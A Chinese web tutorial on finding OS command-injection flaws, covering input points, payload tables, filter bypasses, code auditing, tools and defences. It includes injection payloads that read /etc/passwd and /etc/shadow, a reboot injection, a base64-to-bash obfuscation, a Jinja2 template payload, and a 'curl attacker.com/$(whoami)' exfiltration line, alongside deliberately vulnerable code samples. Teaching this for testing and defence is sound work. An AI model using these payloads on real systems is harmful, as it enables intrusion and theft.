当前位置:首页 > 电脑教程 > 正文

如何发现命令执行破绽?

挖掘命令执行破绽的核心是:寻找应用程序中用户输入(如参数、表单、HTTP头)未经严格过滤或验证,就被直接传递给系统命令执行函数(如eval, system, exec, popen)的点,通过注入特殊字符(| & ; $() `)或命令测试其执行情况。

破绽原理与危害

技术本质
当应用将用户输入未经净化直接拼接至系统命令(如system()exec())时,攻击者可通过注入操作符(、&&、)或反引号(`)附加反面指令。
典型场景

  • Web应用:网络设备管理接口、CI/CD工具、内容管理系统(CMS)插件
  • 非Web场景:IoT设备固件、桌面软件配置功能

危害等级

  • 高危(CVSS 9.0+):直接获取服务器Shell权限
  • 横向威胁:可作为跳板攻击内网系统

黑盒测试挖掘流程

步骤1:识别输入点

 显性输入点:
   - GET/POST参数(如`?cmd=ping+127.0.0.1`)
   - HTTP头部(User-Agent, X-Forwarded-For)
   - 文件上传功能(文件名解析)
 隐性输入点:
   - 日志分析功能(读取文件路径)
   - 系统状态检查(ping/traceroute)

步骤2:注入测试向量

注入类型 测试Payload 适用场景
基础分隔符 ;id && whoami Linux/Unix系统
管道符 | cat /etc/passwd 命令链截断
反引号 `echo test` 内联命令执行
时间盲注 sleep 5 无回显场景
环境变量 ${PATH} 变量改动

关键技巧

如何发现命令执行破绽?  第1张

  • 使用双写绕过ls -la(过滤空格时)
  • 编码混淆base64 "id" | base64 -d | bash(绕过基础过滤)
  • 盲注检测:通过DNS外带数据(curl attacker.com/$(whoami)

步骤3:回显与错误分析

  • 成功特征
    • 返回系统命令结果(如uid=0(root)
    • 异常错误信息(sh: 1: invalid-command: not found
  • 无回显处理
    • 监听DNS请求(dnslog.cn
    • 触发延迟响应(ping -c 10 127.0.0.1

白盒审计核心策略

危险函数追踪

# Python高危函数
os.system("ping " + user_input)  # 直接拼接
subprocess.call(user_input, shell=True)  # Shell模式启用
# PHP高危函数
system($_GET['cmd']);
exec("nslookup " . $input);

数据流分析

  • 从用户输入源($_REQUESTInputStream)到危险函数的完整调用链
  • 检查过滤逻辑是否允许绕过:
    $input = str_replace(";", "", $_POST['ip']); 
    // 未过滤`&&` → 可注入`127.0.0.1 && reboot`

上下文逃逸检测

  • 文件路径注入:/dev/null; id → 被误解析为命令
  • 模板引擎滥用:{{config.__class__.__init__.__globals__['os'].system('id')}}(Jinja2)

自动化工具辅助

工具名称 用途 使用示例
Burp Suite 拦截修改请求测试注入 Intruder模块爆破命令分隔符
Commix 自动化命令注入检测 commix -u "http://target/?ip=127.0.0.1"
Semgrep 静态代码扫描 规则匹配os.system($VAR)
tcpdump 监听DNS外带流量 tcpdump -i eth0 port 53

工具局限:自动化工具易误报,需人工验证逻辑上下文。


经典破绽案例

案例1:网络设备管理后台注入

  • 破绽点:路由器Ping功能
    POST /ping.php HTTP/1.1
    Host: router.local
    ip=192.168.1.1; cat /etc/shadow
  • 利用结果:直接输出系统密码哈希

案例2:Java应用路径拼接破绽

String cmd = "nslookup " + request.getParameter("domain");
Runtime.getRuntime().exec(cmd); // 未校验domain格式

注入Payload:example.com & calc.exe → 在Windows服务器弹出计算器


防御方案(开发者必读)

  1. 输入白名单
    • 仅允许预期字符(如IP地址:^[0-9.]+$
  2. 安全API调用
    • 使用参数化函数(Python:subprocess.run(['ping', ip], shell=False
  3. 最小权限原则

    运行服务的用户降权(非root)

  4. 沙箱隔离

    Docker容器化执行高危命令


命令执行破绽的挖掘需要结合输入点发现、上下文理解、绕过技巧三位一体,安全研究人员应遵循道德准则,所有测试需获得授权,防御的核心在于不信任用户输入,通过设计而非修补解决风险。

引用说明

  • OWASP Command Injection Guide (2025)
  • MITRE CWE-78: OS Command Injection
  • PortSwigger: Command Injection Vulnerabilities
  • SANS Institute: Secure Coding in Java/PHP
0